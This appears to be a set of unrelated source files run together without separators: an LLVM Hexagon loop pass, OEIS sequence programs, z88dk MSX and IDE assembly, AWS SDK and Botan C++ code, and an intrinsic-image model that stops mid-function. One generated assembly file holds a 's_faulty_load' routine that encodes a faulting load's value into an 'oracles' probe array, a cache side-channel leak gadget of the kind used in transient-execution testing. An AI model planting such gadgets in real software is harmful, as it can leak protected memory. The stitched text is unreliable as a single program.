NewCall = CondBuilder.CreateCall(Fn, {Op0, Op1, NumWords}); } else { NewCall = CondBuilder.CreateMemMove( StoreBasePtr, SI->getAlign(), LoadBasePtr, LI->getAlign(), NumBytes); } } else { NewCall = Builder.CreateMemCpy(StoreBasePtr, SI->getAlign(), LoadBasePtr, LI->getAlign(), NumBytes); // Okay, the memcpy has been formed. Zap the original store and // anything that feeds into it. RecursivelyDeleteTriviallyDeadInstructions(SI, TLI); } NewCall->setDebugLoc(DLoc); LLVM_DEBUG(dbgs() << " Formed " << (Overlap ? "memmove: " : "memcpy: ") << *NewCall << "\n" << " from load ptr=" << *LoadEv << " at: " << *LI << "\n" << " from store ptr=" << *StoreEv << " at: " << *SI << "\n"); return true; } // Check if the instructions in Insts, together with their dependencies // cover the loop in the sense that the loop could be safely eliminated once // the instructions in Insts are removed. bool HexagonLoopIdiomRecognize::coverLoop(Loop *L, SmallVectorImpl<Instruction*> &Insts) const { SmallSet<BasicBlock*,8> LoopBlocks; for (auto *B : L->blocks()) LoopBlocks.insert(B); SetVector<Instruction*> Worklist(Insts.begin(), Insts.end()); // Collect all instructions from the loop that the instructions in Insts // depend on (plus their dependencies, etc.). These instructions will // constitute the expression trees that feed those in Insts, but the trees // will be limited only to instructions contained in the loop. for (unsigned i = 0; i < Worklist.size(); ++i) { Instruction *In = Worklist[i]; for (auto I = In->op_begin(), E = In->op_end(); I != E; ++I) { Instruction *OpI = dyn_cast<Instruction>(I); if (!OpI) continue; BasicBlock *PB = OpI->getParent(); if (!LoopBlocks.count(PB)) continue; Worklist.insert(OpI); } } // Scan all instructions in the loop, if any of them have a user outside // of the loop, or outside of the expressions collected above, then either // the loop has a side-effect visible outside of it, or there are // instructions in it that are not involved in the original set Insts. for (auto *B : L->blocks()) { for (auto &In : *B) { if (isa<BranchInst>(In) || isa<DbgInfoIntrinsic>(In)) continue; if (!Worklist.count(&In) && In.mayHaveSideEffects()) return false; for (auto K : In.users()) { Instruction *UseI = dyn_cast<Instruction>(K); if (!UseI) continue; BasicBlock *UseB = UseI->getParent(); if (LF->getLoopFor(UseB) != L) return false; } } } return true; } /// runOnLoopBlock - Process the specified block, which lives in a counted loop /// with the specified backedge count. This block is known to be in the current /// loop and not in any subloops. bool HexagonLoopIdiomRecognize::runOnLoopBlock(Loop *CurLoop, BasicBlock *BB, const SCEV *BECount, SmallVectorImpl<BasicBlock*> &ExitBlocks) { // We can only promote stores in this block if they are unconditionally // executed in the loop. For a block to be unconditionally executed, it has // to dominate all the exit blocks of the loop. Verify this now. auto DominatedByBB = [this,BB] (BasicBlock *EB) -> bool { return DT->dominates(BB, EB); }; if (!all_of(ExitBlocks, DominatedByBB)) return false; bool MadeChange = false; // Look for store instructions, which may be optimized to memset/memcpy. SmallVector<StoreInst*,8> Stores; collectStores(CurLoop, BB, Stores); // Optimize the store into a memcpy, if it feeds an similarly strided load. for (auto &SI : Stores) MadeChange |= processCopyingStore(CurLoop, SI, BECount); return MadeChange; } bool HexagonLoopIdiomRecognize::runOnCountableLoop(Loop *L) { PolynomialMultiplyRecognize PMR(L, *DL, *DT, *TLI, *SE); if (PMR.recognize()) return true; if (!HasMemcpy && !HasMemmove) return false; const SCEV *BECount = SE->getBackedgeTakenCount(L); assert(!isa<SCEVCouldNotCompute>(BECount) && "runOnCountableLoop() called on a loop without a predictable" "backedge-taken count"); SmallVector<BasicBlock *, 8> ExitBlocks; L->getUniqueExitBlocks(ExitBlocks); bool Changed = false; // Scan all the blocks in the loop that are not in subloops. for (auto *BB : L->getBlocks()) { // Ignore blocks in subloops. if (LF->getLoopFor(BB) != L) continue; Changed |= runOnLoopBlock(L, BB, BECount, ExitBlocks); } return Changed; } bool HexagonLoopIdiomRecognize::runOnLoop(Loop *L, LPPassManager &LPM) { const Module &M = *L->getHeader()->getParent()->getParent(); if (Triple(M.getTargetTriple()).getArch() != Triple::hexagon) return false; if (skipLoop(L)) return false; // If the loop could not be converted to canonical form, it must have an // indirectbr in it, just give up. if (!L->getLoopPreheader()) return false; // Disable loop idiom recognition if the function's name is a common idiom. StringRef Name = L->getHeader()->getParent()->getName(); if (Name == "memset" || Name == "memcpy" || Name == "memmove") return false; AA = &getAnalysis<AAResultsWrapperPass>().getAAResults(); DL = &L->getHeader()->getModule()->getDataLayout(); DT = &getAnalysis<DominatorTreeWrapperPass>().getDomTree(); LF = &getAnalysis<LoopInfoWrapperPass>().getLoopInfo(); TLI = &getAnalysis<TargetLibraryInfoWrapperPass>().getTLI( *L->getHeader()->getParent()); SE = &getAnalysis<ScalarEvolutionWrapperPass>().getSE(); HasMemcpy = TLI->has(LibFunc_memcpy); HasMemmove = TLI->has(LibFunc_memmove); if (SE->hasLoopInvariantBackedgeTakenCount(L)) return runOnCountableLoop(L); return false; } Pass *llvm::createHexagonLoopIdiomPass() { return new HexagonLoopIdiomRecognize(); }
; A192877: Coefficient of x in the reduction by (x^2->x+1) of the polynomial p(n,x) given in Comments. ; Submitted by Christian Krause ; 0,1,4,14,47,152,496,1601,5192,16786,54351,175836,569100,1841513,5959484,19284934,62407951,201955408,653543000,2114907025,6843987040,22147600586,71671151919,231932702004,750550018452,2428830833977,7859861759476,25435046826206,82309540736687,266359268703176,861956700474496,2789350475565281,9026527753346360,29210457408439618,94527025831096719,305895881294605644,989899865915776476,3203383257006450953,10366365977681710700,33546264983379997750,108557993877501768655,351301047688499370496 add $0,1 lpb $0 sub $0,1 sub $3,$4 add $1,$3 mul $1,2 sub $3,$2 add $1,$3 mul $3,2 mov $4,$2 mov $2,$3 add $4,$1 add $1,6 add $5,$4 mov $3,$5 lpe mov $0,$3 div $0,12
; ; MSX specific routines ; by Stefano Bodrato, 29/11/2007 ; ; int msx_color(int foreground, int background, int border ); ; ; Change the MSX color attributes ; ; $Id: msx_color.asm $ ; SECTION code_clib PUBLIC msx_color PUBLIC _msx_color EXTERN msxbios EXTERN __tms9918_attribute IF FORmsx INCLUDE "target/msx/def/msxbios.def" INCLUDE "target/msx/def/msxbasic.def" ELSE INCLUDE "target/svi/def/svibios.def" INCLUDE "target/svi/def/svibasic.def" ENDIF msx_color: _msx_color: push ix ld ix,2 add ix,sp ld a,(ix+2) ;border ld (BDRCLR),a ld a,(ix+6) ;foreground and $0f ld (FORCLR),a rlca rlca rlca rlca and $f0 ld l,a ld a,(ix+4) ;background and $0f ld (BAKCLR),a or l ld (__tms9918_attribute),a ld a,(0FCAFh) ;SCRMOD ld ix,CHGCLR call msxbios pop ix ret
; A279891: Triangle read by rows, T(n,k) = 2*n, with n>=k>=0. ; 0,2,2,4,4,4,6,6,6,6,8,8,8,8,8,10,10,10,10,10,10,12,12,12,12,12,12,12,14,14,14,14,14,14,14,14,16,16,16,16,16,16,16,16,16,18,18,18,18,18,18,18,18,18,18,20,20,20,20,20,20,20,20,20,20,20,22,22,22,22,22,22,22,22,22,22,22,22 mul $0,2 mov $1,1 lpb $0 add $1,2 sub $0,$1 lpe sub $1,1
SECTION code_clib SECTION code_fp_math48 PUBLIC ___fs2ulonglong_callee EXTERN cm48_sdccixp_ds2ulonglong_callee defc ___fs2ulonglong_callee = cm48_sdccixp_ds2ulonglong_callee
#include "loader.h" #include <fmt/format.h> #include <iostream> using namespace loader; extern "C" { CustomLibraryPtr the_python_library; } // note: intentially leaking the vector so that // dtors on the loaded libraries do not get called. // this module will unload after python so it is unsafe // for destruct the loaded libraries then. auto loaded = new std::vector<CustomLibraryPtr>; typedef void (*dl_funcptr)(void); extern "C" dl_funcptr _PyImport_FindSharedFuncptr( const char* prefix, const char* shortname, const char* pathname, FILE* fp) { std::cout << "CUSTOM LOAD SHARED LIBRARY " << pathname << "\n"; auto lib = CustomLibrary::create(pathname); lib->add_search_library(SystemLibrary::create()); lib->add_search_library(the_python_library); lib->load(); auto init_name = fmt::format("{}_{}", prefix, shortname); auto result = (dl_funcptr)lib->sym(init_name.c_str()).value(); loaded->emplace_back(std::move(lib)); return result; }
/* * Copyright 2010-2016 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #include <aws/ec2/model/VgwTelemetry.h> #include <aws/core/utils/xml/XmlSerializer.h> #include <aws/core/utils/StringUtils.h> #include <aws/core/utils/memory/stl/AWSStringStream.h> #include <utility> using namespace Aws::Utils::Xml; using namespace Aws::Utils; namespace Aws { namespace EC2 { namespace Model { VgwTelemetry::VgwTelemetry() : m_outsideIpAddressHasBeenSet(false), m_statusHasBeenSet(false), m_lastStatusChangeHasBeenSet(false), m_statusMessageHasBeenSet(false), m_acceptedRouteCount(0), m_acceptedRouteCountHasBeenSet(false) { } VgwTelemetry::VgwTelemetry(const XmlNode& xmlNode) : m_outsideIpAddressHasBeenSet(false), m_statusHasBeenSet(false), m_lastStatusChangeHasBeenSet(false), m_statusMessageHasBeenSet(false), m_acceptedRouteCount(0), m_acceptedRouteCountHasBeenSet(false) { *this = xmlNode; } VgwTelemetry& VgwTelemetry::operator =(const XmlNode& xmlNode) { XmlNode resultNode = xmlNode; if(!resultNode.IsNull()) { XmlNode outsideIpAddressNode = resultNode.FirstChild("outsideIpAddress"); if(!outsideIpAddressNode.IsNull()) { m_outsideIpAddress = StringUtils::Trim(outsideIpAddressNode.GetText().c_str()); m_outsideIpAddressHasBeenSet = true; } XmlNode statusNode = resultNode.FirstChild("status"); if(!statusNode.IsNull()) { m_status = TelemetryStatusMapper::GetTelemetryStatusForName(StringUtils::Trim(statusNode.GetText().c_str()).c_str()); m_statusHasBeenSet = true; } XmlNode lastStatusChangeNode = resultNode.FirstChild("lastStatusChange"); if(!lastStatusChangeNode.IsNull()) { m_lastStatusChange = DateTime(StringUtils::Trim(lastStatusChangeNode.GetText().c_str()).c_str(), DateFormat::ISO_8601); m_lastStatusChangeHasBeenSet = true; } XmlNode statusMessageNode = resultNode.FirstChild("statusMessage"); if(!statusMessageNode.IsNull()) { m_statusMessage = StringUtils::Trim(statusMessageNode.GetText().c_str()); m_statusMessageHasBeenSet = true; } XmlNode acceptedRouteCountNode = resultNode.FirstChild("acceptedRouteCount"); if(!acceptedRouteCountNode.IsNull()) { m_acceptedRouteCount = StringUtils::ConvertToInt32(StringUtils::Trim(acceptedRouteCountNode.GetText().c_str()).c_str()); m_acceptedRouteCountHasBeenSet = true; } } return *this; } void VgwTelemetry::OutputToStream(Aws::OStream& oStream, const char* location, unsigned index, const char* locationValue) const { if(m_outsideIpAddressHasBeenSet) { oStream << location << index << locationValue << ".OutsideIpAddress=" << StringUtils::URLEncode(m_outsideIpAddress.c_str()) << "&"; } if(m_statusHasBeenSet) { oStream << location << index << locationValue << ".Status=" << TelemetryStatusMapper::GetNameForTelemetryStatus(m_status) << "&"; } if(m_lastStatusChangeHasBeenSet) { oStream << location << index << locationValue << ".LastStatusChange=" << StringUtils::URLEncode(m_lastStatusChange.ToGmtString(DateFormat::ISO_8601).c_str()) << "&"; } if(m_statusMessageHasBeenSet) { oStream << location << index << locationValue << ".StatusMessage=" << StringUtils::URLEncode(m_statusMessage.c_str()) << "&"; } if(m_acceptedRouteCountHasBeenSet) { oStream << location << index << locationValue << ".AcceptedRouteCount=" << m_acceptedRouteCount << "&"; } } void VgwTelemetry::OutputToStream(Aws::OStream& oStream, const char* location) const { if(m_outsideIpAddressHasBeenSet) { oStream << location << ".OutsideIpAddress=" << StringUtils::URLEncode(m_outsideIpAddress.c_str()) << "&"; } if(m_statusHasBeenSet) { oStream << location << ".Status=" << TelemetryStatusMapper::GetNameForTelemetryStatus(m_status) << "&"; } if(m_lastStatusChangeHasBeenSet) { oStream << location << ".LastStatusChange=" << StringUtils::URLEncode(m_lastStatusChange.ToGmtString(DateFormat::ISO_8601).c_str()) << "&"; } if(m_statusMessageHasBeenSet) { oStream << location << ".StatusMessage=" << StringUtils::URLEncode(m_statusMessage.c_str()) << "&"; } if(m_acceptedRouteCountHasBeenSet) { oStream << location << ".AcceptedRouteCount=" << m_acceptedRouteCount << "&"; } } } // namespace Model } // namespace EC2 } // namespace Aws
/* * X.509 Public Key * (C) 1999-2010 Jack Lloyd * * Botan is released under the Simplified BSD License (see license.txt) */ #include <botan/x509_key.h> #include <botan/data_src.h> #include <botan/ber_dec.h> #include <botan/pem.h> #include <botan/alg_id.h> #include <botan/pk_algs.h> namespace Botan { namespace X509 { std::vector<uint8_t> BER_encode(const Public_Key& key) { // keeping it around for compat return key.subject_public_key(); } /* * PEM encode a X.509 public key */ std::string PEM_encode(const Public_Key& key) { return PEM_Code::encode(key.subject_public_key(), "PUBLIC KEY"); } /* * Extract a public key and return it */ Public_Key* load_key(DataSource& source) { try { AlgorithmIdentifier alg_id; std::vector<uint8_t> key_bits; if(ASN1::maybe_BER(source) && !PEM_Code::matches(source)) { BER_Decoder(source) .start_cons(SEQUENCE) .decode(alg_id) .decode(key_bits, BIT_STRING) .end_cons(); } else { DataSource_Memory ber( PEM_Code::decode_check_label(source, "PUBLIC KEY") ); BER_Decoder(ber) .start_cons(SEQUENCE) .decode(alg_id) .decode(key_bits, BIT_STRING) .end_cons(); } if(key_bits.empty()) throw Decoding_Error("X.509 public key decoding"); return load_public_key(alg_id, key_bits).release(); } catch(Decoding_Error& e) { throw Decoding_Error("X.509 public key decoding", e); } } #if defined(BOTAN_TARGET_OS_HAS_FILESYSTEM) /* * Extract a public key and return it */ Public_Key* load_key(const std::string& fsname) { DataSource_Stream source(fsname, true); return X509::load_key(source); } #endif /* * Extract a public key and return it */ Public_Key* load_key(const std::vector<uint8_t>& mem) { DataSource_Memory source(mem); return X509::load_key(source); } /* * Make a copy of this public key */ Public_Key* copy_key(const Public_Key& key) { DataSource_Memory source(PEM_encode(key)); return X509::load_key(source); } } }
; A100688: a(n) = prime(n) * 3^prime(n) - 1. ; 17,80,1214,15308,1948616,20726198,2195382770,22082967872,2165293113020,1990280943581606,19147875284802356,16660504517966902430,1495392851464002242522,14115049597965094337960,1249674274871002654525988,1027312020387041054530226318 seq $0,40 ; The prime numbers. mov $1,$0 lpb $1 mul $0,3 sub $1,1 lpe sub $0,1
; A158675: a(n) = 961*n^2 + 31. ; 31,992,3875,8680,15407,24056,34627,47120,61535,77872,96131,116312,138415,162440,188387,216256,246047,277760,311395,346952,384431,423832,465155,508400,553567,600656,649667,700600,753455,808232,864931,923552,984095,1046560,1110947,1177256,1245487,1315640,1387715,1461712,1537631,1615472,1695235,1776920,1860527,1946056,2033507,2122880,2214175,2307392,2402531,2499592,2598575,2699480,2802307,2907056,3013727,3122320,3232835,3345272,3459631,3575912,3694115,3814240,3936287,4060256,4186147,4313960 pow $0,2 mul $0,961 add $0,31
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x181a5, %rsi nop cmp $47877, %r13 mov $0x6162636465666768, %rax movq %rax, (%rsi) nop nop nop nop nop sub $24603, %rax lea addresses_normal_ht+0x13e3c, %rsi lea addresses_UC_ht+0xabf0, %rdi nop nop nop nop nop dec %r12 mov $31, %rcx rep movsb nop nop nop nop and $58004, %r12 lea addresses_WC_ht+0x1b0f0, %r13 sub $59330, %rbp movb $0x61, (%r13) nop nop nop nop nop inc %r12 lea addresses_normal_ht+0xfeb0, %rsi lea addresses_A_ht+0x22f0, %rdi nop cmp %r14, %r14 mov $81, %rcx rep movsw nop nop add %r12, %r12 lea addresses_A_ht+0xb360, %rsi lea addresses_WC_ht+0x15414, %rdi clflush (%rdi) nop nop xor $38811, %r13 mov $46, %rcx rep movsb nop nop nop nop add $34541, %r14 lea addresses_A_ht+0x181df, %rax nop nop nop nop add %rdi, %rdi mov $0x6162636465666768, %r13 movq %r13, %xmm0 movups %xmm0, (%rax) nop nop nop add $64045, %r14 lea addresses_UC_ht+0x155f0, %rax add $34447, %rsi movb $0x61, (%rax) add $48267, %rbp lea addresses_UC_ht+0xbfd8, %rbp nop nop nop nop inc %rax mov $0x6162636465666768, %r12 movq %r12, %xmm7 vmovups %ymm7, (%rbp) nop sub %rsi, %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r9 push %rax push %rbp push %rcx push %rdx // Store lea addresses_UC+0xada, %r11 nop nop inc %rbp movw $0x5152, (%r11) nop nop nop nop nop cmp $6152, %r13 // Store lea addresses_PSE+0x3530, %rbp nop nop nop nop nop and $46373, %rdx movb $0x51, (%rbp) nop nop nop nop nop add %r11, %r11 // Faulty Load lea addresses_WT+0xc8f0, %rcx and $40998, %rbp movups (%rcx), %xmm5 vpextrq $1, %xmm5, %rax lea oracles, %r13 and $0xff, %rax shlq $12, %rax mov (%r13,%rax,1), %rax pop %rdx pop %rcx pop %rbp pop %rax pop %r9 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
SECTION code_driver PUBLIC ide_write_sector EXTERN __IO_IDE_SEC_CNT, __IO_IDE_COMMAND EXTERN __IDE_CMD_WRITE, __IDE_CMD_CACHE_FLUSH EXTERN ide_wait_ready, ide_wait_drq EXTERN ide_test_error, ide_setup_lba EXTERN ide_write_byte EXTERN ide_write_block ;------------------------------------------------------------------------------ ; Routines that talk with the IDE drive, these should be called by ; the main program. ; write a sector ; specified by the 4 bytes in BCDE ; the address of the origin buffer is in HL ; HL is left incremented by 512 bytes ; return carry on success, no carry for an error ide_write_sector: push af push bc push de call ide_wait_ready ;make sure drive is ready jr nc, error call ide_setup_lba ;tell it which sector we want in BCDE ld e, $1 ld a, __IO_IDE_SEC_CNT call ide_write_byte ;set sector count to 1 ld e, __IDE_CMD_WRITE ld a, __IO_IDE_COMMAND call ide_write_byte ;instruct drive to write a sector call ide_wait_ready ;make sure drive is ready to proceed jr nc, error call ide_wait_drq ;wait until it wants the data jr nc, error call ide_write_block ;send the data to the drive from (HL++) call ide_wait_ready jr nc, error ; ld e, __IDE_CMD_CACHE_FLUSH ; ld a, __IO_IDE_COMMAND ; call ide_write_byte ;tell drive to flush its hardware cache ; call ide_wait_ready ;wait until the write is complete ; jr nc, error pop de pop bc pop af scf ;carry = 1 on return = operation ok ret error: pop de pop bc pop af jp ide_test_error ;carry = 0 on return = operation failed
#include "IntrinsicModel.h" #include <iostream> #include <fstream> #include "Utility.h" #include "SparseMat.h" #include <cstdio> #include <boost/filesystem.hpp> float IMConfig::absLambda = 1000; float IMConfig::albedoLambda = 1; float IMConfig::shadeLambda = 1; float IMConfig::windowSize = 3; float IMConfig::chromThrd = 0.005; float IMConfig::distThrd = 0.0005; float IMConfig::txVar = 0.1; float IMConfig::rWeight = 100; bool IMConfig::useEqCons = true; ublas_cm_f constructShadeSparseMat(Constraint& cons,int w, int h ) { int nzCnt = 0; for (int i = 0; i < cons.size(); i++) { GrpEle& ge = cons[i]; int geSize = ge.m_eMember.size(); nzCnt += geSize * 4; } std::cout << "image size:" << w << "," << h << std::endl; float fSz = (float)w * (float)h * (float)w * (float)h; std::cout << "matrix size: :" << fSz << ",nzcnt:" << nzCnt << ",sparsity:" << (float)nzCnt/fSz << std::endl; return ublas_cm_f(h * w,h * w,nzCnt); } ublas_cm_f constructAlbedoSparseMat(Constraint& cons,int w ,int h){ // return constructShadeSparseMat(cons,w,h); } ublas_cm_f constructRetinexSparseMat(int w ,int h){ // int nzCnt = w * h * 8; return ublas_cm_f(w * h , w * h, nzCnt); } IntrinsicModel::IntrinsicModel(mat_3f img,std::string modelName) :m_img(img.clone()) ,m_modelName(modelName) ,m_shadeScrib(NULL,NULL) ,m_albedoScrib(NULL,NULL) ,m_absShadeScrib(NULL,NULL) ,m_eqCons(IMConfig::useEqCons),m_isCS(false),m_isCR(false),m_isAbsS(false),m_cpnInited(false) ,m_csLambda(IMConfig::shadeLambda),m_crLambda(IMConfig::albedoLambda),m_absLambda(IMConfig::absLambda) ,m_sparsity(0) ,m_matBuild(false) ,m_lWinSize(3) ,m_matrixTime(0){ for (int i = 0; i < m_img.size().height; i++) { for (int j = 0; j <m_img.size().width; j++) { m_img(i,j)[0] += 1e-5; m_img(i,j)[1] += 1e-5; m_img(i,j)[2] += 1e-5; } } m_csInited = false; m_crInited = false; m_absInited = false; m_dm.init(m_img); //intialize the data manager m_ROIMask = mat_u(m_img.size()); m_ROIMask = 255; //set all front pixels m_featureMask = mat_u(m_img.size()); m_featureMask = 255; int iw = m_img.size().width; int ih = m_img.size().height; m_pixNorm = mat_3f(ih,iw); m_pixNorm = cv::Vec3f(0,0,0); //initialize as zero vectors m_grayImg = mat_f(m_img.size()); m_logImg = mat_f(m_img.size()); for (int i = 0; i < ih; i++) { for (int j = 0; j < iw; j++) { m_grayImg(i,j) = cv::norm(m_img(i,j)); // m_logImg(i,j) = log(m_grayImg(i,j)); } } //init the linear equation matrix int matSz = m_img.size().width * m_img.size().height; m_allConsMat = ublas_cm_f(matSz,matSz); m_allConsVec = ublas_vec_f(matSz); for(int i = 0; i <matSz; i++) m_allConsVec(i) = 0; } void setMask(mat_u dstMsk, mat_3f srcMsk = mat_u(0,0)){ cv::Size mskSz = srcMsk.size(); dstMsk = 255; if (mskSz.width > 0 && mskSz.height > 0) { for (int i = 0; i < mskSz.height; i++) { for (int j = 0; j < mskSz.width; j++) { if (srcMsk(i,j)[0] == 0 ) { dstMsk(i,j) = 0; } } } } } void IntrinsicModel::setROIMask(mat_3f maskImg){ ::setMask(m_ROIMask,maskImg); m_dm.getMask() = m_ROIMask.clone(); } void IntrinsicModel::setFeatureMask(mat_3f maskImg){ ::setMask(m_featureMask,maskImg); } void IntrinsicModel::addShadeScrib(Constraint& cons,float w){ Constraint filterCons; for (int i = 0; i < cons.size(); i++) { GrpEle& ge = cons[i]; if (ge.m_eMember.size() > 1) { filterCons.push_back(ge); } } m_cs = maskConstraint(filterCons); m_shadeScrib.m_dmPtr = &m_dm; m_shadeScrib.m_strokePtr = &m_cs; m_shadeScrib.initScribbles(); m_isCS = true; m_csInited = false; } void IntrinsicModel::addAlbedoScrib(Constraint& cons,float w){ Constraint filterCons; for (int i = 0; i < cons.size(); i++) { GrpEle& ge = cons[i]; if (ge.m_eMember.size() > 1) { filterCons.push_back(ge); } } m_cr = maskConstraint(filterCons); m_albedoScrib.m_dmPtr = &m_dm; m_albedoScrib.m_strokePtr = &m_cr; m_albedoScrib.initScribbles(); m_crInited = false; m_isCR = true; } void IntrinsicModel::addAbsShadeScrib(Constraint& cons, float w){ m_abs = maskConstraint(cons); m_absShadeScrib.m_dmPtr = &m_dm; m_absShadeScrib.m_strokePtr = &m_abs; m_absShadeScrib.initScribbles(); m_absInited= false; m_isAbsS = true; } Constraint IntrinsicModel::genConsAlbedoCons(float distThrd , float varThrd ){ //use texture matching m_tpgs.m_dmPtr = &m_dm; m_tpgs.m_trd_dist = distThrd; m_tpgs.m_trd_chrvar = varThrd; m_tpgs.reset(); //clear all m_tpgs.group(); return m_tpgs.m_groups; //get the constraint } Constraint IntrinsicModel::genConsShadeCons(){ Constraint cons; return cons; } Constraint IntrinsicModel::genAbsShadeCons(float absVal){ int iw = m_img.size().width; int ih = m_img.size().height; float maxVal = 0; int my = 0,mx = 0; for (int i = 0; i < ih; i++) { for (int j = 0; j < iw; j++) { float tmpVal = cv::norm(m_img(i,j)); if (tmpVal > maxVal) { maxVal = tmpVal; my = i; mx = j; } } } Constraint cons; GrpEle grp; Element ele(my* iw + mx,1.0); ele.m_rgb = cv::Vec3f(absVal,absVal,absVal); // set a triple grp.m_eMember.push_back(ele); cons.push_back(grp); return cons; } void IntrinsicModel::reduceSdEdge(){ //eliminate the possible sharp shading edges caused by color planar assumption //only process pixels at the color edge //using reflectance result as guidance mat_3f chromImg = m_dm.getChrom(); //cv::imshow("chrom",refImg); 